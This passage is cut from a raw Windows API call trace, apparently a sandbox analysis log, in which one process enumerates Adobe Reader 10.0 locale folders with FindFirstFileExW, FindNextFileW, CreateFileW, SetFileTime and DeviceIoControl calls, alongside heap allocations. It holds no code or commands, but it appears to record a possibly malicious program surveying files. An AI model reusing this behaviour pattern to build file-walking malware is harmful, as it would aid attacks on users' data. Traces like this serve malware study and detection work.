ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.HRV", cAlternateFileName="")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.HRV", cAlternateFileName="")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.HRV", cAlternateFileName="")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.HRV", cAlternateFileName="")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.HRV", cAlternateFileName="")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.HRV", cAlternateFileName="")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.HRV", cAlternateFileName="")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.HRV", cAlternateFileName="")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.HRV", cAlternateFileName="")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.042] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.042] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12a8280, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12a8280, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a8280) returned 1 [0082.043] NtClose (Handle=0x16c) returned 0x0 [0082.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127d6d8) returned 1 [0082.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127d6d8 [0082.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127d7e0 [0082.043] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.044] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9049, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127d8e8 [0082.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aa28 [0082.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127d9f0 [0082.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.045] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aa48 [0082.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127daf8 [0082.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.047] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.047] GetLastError () returned 0x12 [0082.047] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.047] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9049, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.047] GetLastError () returned 0x12 [0082.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127d7e0) returned 1 [0082.048] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127d8e8) returned 1 [0082.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127d6d8) returned 1 [0082.048] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HRV", cAlternateFileName="")) returned 1 [0082.048] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.HRV", cAlternateFileName="")) returned 1 [0082.048] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.HRV", cAlternateFileName="")) returned 1 [0082.048] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.HRV", cAlternateFileName="")) returned 0 [0082.048] GetLastError () returned 0x12 [0082.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.048] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.049] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0082.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.049] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.050] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.050] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12a8280 [0082.050] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12a8280, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12a8280, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a8280) returned 1 [0082.050] NtClose (Handle=0x174) returned 0x0 [0082.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.051] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.053] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.053] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.HUN", cAlternateFileName="")) returned 1 [0082.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aa68 [0082.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127d6d8 [0082.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.055] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x68600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.HUN", cAlternateFileName="")) returned 1 [0082.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aa88 [0082.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127d8e8 [0082.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.056] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.HUN", cAlternateFileName="")) returned 1 [0082.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aaa8 [0082.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127d7e0 [0082.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.057] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.HUN", cAlternateFileName="")) returned 1 [0082.058] RtlAllocateHeap (HeapHandle=0x940000, 